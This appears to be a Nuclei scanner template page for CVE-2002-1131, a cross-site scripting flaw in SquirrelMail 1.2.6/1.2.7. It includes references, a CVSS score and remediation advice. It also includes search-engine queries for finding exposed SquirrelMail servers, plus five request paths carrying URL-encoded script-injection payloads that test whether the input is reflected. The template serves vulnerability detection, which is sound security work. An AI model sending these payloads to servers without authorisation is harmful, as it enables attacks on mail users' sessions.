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SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting

ID: CVE-2002-1131

Severity: high

Author: dhiyaneshDk

Tags: cve,cve2002,edb,xss,squirrelmail

The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

id: CVE-2002-1131
info:
name: SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting
author: dhiyaneshDk
severity: high
description: The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Upgrade to a patched version of SquirrelMail or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- http://www.redhat.com/support/errata/RHSA-2002-204.html
- http://www.debian.org/security/2002/dsa-191
- http://sourceforge.net/project/shownotes.php?group_id=311&release_id=110774
- https://www.exploit-db.com/exploits/21811
- https://nvd.nist.gov/vuln/detail/CVE-2002-1131
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2002-1131
cwe-id: CWE-80
epss-score: 0.04774
epss-percentile: 0.92677
cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
metadata:
max-request: 5
vendor: squirrelmail
product: squirrelmail
shodan-query:
- http.title:"squirrelmail"
- cpe:"cpe:2.3:a:squirrelmail:squirrelmail"
fofa-query: title="squirrelmail"
google-query: intitle:"squirrelmail"
tags: cve,cve2002,edb,xss,squirrelmail
http:
- method: GET
path:
- '{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search'
- '{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search'
- '{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402204c7dc475bf2191dc7d4205f7d9ac8692591bfc3309ce83cbaff50582d4ef4ed102205435d5f587fed8871b48937e85562a7cda2442ff61014d895e51badb33537114:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2002/CVE-2002-1131.yaml"

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